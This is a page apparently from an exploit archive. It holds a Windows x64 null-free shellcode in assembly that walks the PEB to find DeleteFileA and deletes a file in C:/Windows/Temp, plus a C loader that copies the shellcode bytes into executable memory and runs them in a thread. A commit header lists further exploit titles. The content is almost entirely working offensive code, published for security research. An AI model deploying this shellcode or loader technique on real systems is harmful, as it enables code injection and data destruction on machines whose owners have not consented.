7e3a257da8
11 changes to exploits/shellcodes/ghdb PaperCut NG/MG 22.0.4 - Authentication Bypass KodExplorer 4.49 - CSRF to Arbitrary File Upload Mars Stealer 8.3 - Admin Account Takeover Multi-Vendor Online Groceries Management System 1.0 - Remote Code Execution Sophos Web Appliance 4.3.10.4 - Pre-auth command injection Arcsoft PhotoStudio 6.0.0.172 - Unquoted Service Path OCS Inventory NG 2.3.0.0 - Unquoted Service Path Wondershare Filmora 12.2.9.2233 - Unquoted Service Path Windows/x64 - Delete File shellcode / Dynamic PEB method null-free Shellcode
146 lines
No EOL
3.5 KiB
NASM
146 lines
No EOL
3.5 KiB
NASM
; Name: Windows/x64 - Delete File shellcode / Dynamic PEB method null-free Shellcode
|
|
; Author: Nayani
|
|
; Date: 22/04/2023
|
|
; Tested on: Microsoft Windows [Version 10.0.22621 Build 22621]
|
|
|
|
|
|
; Description:
|
|
|
|
; This an implementation of DeleteFileA Windows api to delete a file in the C:/Windows/Temp/ directory.
|
|
; To test this code create a file:
|
|
; echo "test" >> C:/Windows/Temp/test.txt
|
|
; and then execute the shellcode
|
|
; This code uses PEB to resolve kernel32 and find the DeleteFileA function.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
sub rsp, 28h
|
|
and rsp, 0fffffffffffffff0h
|
|
|
|
xor rdi, rdi
|
|
mul rdi
|
|
mov r9, gs:[rax+0x60]
|
|
mov r9, [r9+0x18]
|
|
mov r9, [r9+0x20]
|
|
mov r9, [r9]
|
|
mov r9, [r9]
|
|
mov r9, [r9+0x20]
|
|
mov r8, r9
|
|
|
|
; Get kernel32.dll ExportTable Address
|
|
mov r9d, [r9+0x3C]
|
|
add r9, r8
|
|
xor rcx, rcx
|
|
add cx, 0x88ff
|
|
shr rcx, 0x8
|
|
mov edx, [r9+rcx]
|
|
add rdx, r8
|
|
|
|
; Get &AddressTable from Kernel32.dll ExportTable
|
|
xor r10, r10
|
|
mov r10d, [rdx+0x1C]
|
|
add r10, r8
|
|
|
|
; Get &NamePointerTable from Kernel32.dll ExportTable
|
|
xor r11, r11
|
|
mov r11d, [rdx+0x20]
|
|
add r11, r8
|
|
|
|
; Get &OrdinalTable from Kernel32.dll ExportTable
|
|
xor r12, r12
|
|
mov r12d, [rdx+0x24]
|
|
add r12, r8
|
|
|
|
jmp short name_api
|
|
|
|
|
|
getaddr:
|
|
pop r9
|
|
pop rcx
|
|
xor rax, rax
|
|
mov rdx, rsp
|
|
push rcx
|
|
check_loop:
|
|
mov rcx, [rsp]
|
|
xor rdi,rdi
|
|
mov edi, [r11+rax*4]
|
|
add rdi, r8
|
|
mov rsi, rdx
|
|
repe cmpsb
|
|
je resolver
|
|
incloop:
|
|
inc rax
|
|
jmp short check_loop
|
|
|
|
|
|
resolver:
|
|
pop rcx
|
|
mov ax, [r12+rax*2]
|
|
mov eax, [r10+rax*4]
|
|
add rax, r8
|
|
push r9
|
|
ret
|
|
|
|
name_api:
|
|
|
|
; DeleteFileA
|
|
|
|
xor rcx, rcx
|
|
add cl, 0xC
|
|
mov rax, 0x41656CFFFFFFFFFF ;leA
|
|
shr rax, 40
|
|
push rax
|
|
mov rax, 0x69466574656C6544 ;DeleteFi
|
|
push rax
|
|
push rcx
|
|
call getaddr
|
|
mov r14, rax
|
|
|
|
; Bool DeleteFileA(
|
|
; LPCSTR lpFileName
|
|
; );
|
|
|
|
xor rcx, rcx
|
|
mul rcx
|
|
push rax
|
|
|
|
mov rax, 0x7478742E74736574
|
|
push rax
|
|
mov rax, 0x2F706D65542F7377 ; ws/temp
|
|
push rax
|
|
mov rax, 0x6F646E69572F3A43 ; c:/Windo
|
|
push rax ; RSP = "test.txt"
|
|
mov rcx, rsp ; RCX = "test.txt"
|
|
sub rsp, 0x20
|
|
call r14 ;Delete File in C:/Windows/Temp/test.txt
|
|
add rsp, 0x20
|
|
|
|
|
|
[!]===================================== POC ========================================= [!]
|
|
|
|
#include <windows.h>
|
|
|
|
|
|
void main() {
|
|
|
|
void* exec;
|
|
BOOL rv;
|
|
HANDLE th;
|
|
DWORD oldprotect = 0;
|
|
|
|
|
|
unsigned char payload[] = "\x48\x83\xec\x28\x48\x83\xe4\xf0\x48\x31\xff\x48\xf7\xe7\x65\x4c\x8b\x48\x60\x4d\x8b\x49\x18\x4d\x8b\x49\x20\x4d\x8b\x09\x4d\x8b\x09\x4d\x8b\x49\x20\x4d\x89\xc8\x45\x8b\x49\x3c\x4d\x01\xc1\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x41\x8b\x14\x09\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x34\x41\x59\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04\x82\x4c\x01\xc0\x41\x51\xc3\x48\x31\xc9\x80\xc1\x0c\x48\xb8\xff\xff\xff\xff\xff\x6c\x65\x41\x48\xc1\xe8\x28\x50\x48\xb8\x44\x65\x6c\x65\x74\x65\x46\x69\x50\x51\xe8\xa6\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x74\x65\x73\x74\x2e\x74\x78\x74\x50\x48\xb8\x77\x73\x2f\x54\x65\x6d\x70\x2f\x50\x48\xb8\x43\x3a\x2f\x57\x69\x6e\x64\x6f\x50\x48\x89\xe1\x48\x83\xec\x20\x41\xff\xd6\x48\x83\xc4\x20";
|
|
|
|
|
|
unsigned int payload_len = 500;
|
|
exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
|
RtlMoveMemory(exec, payload, payload_len);
|
|
rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect);
|
|
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
|
|
WaitForSingleObject(th, -1);
|
|
|
|
} |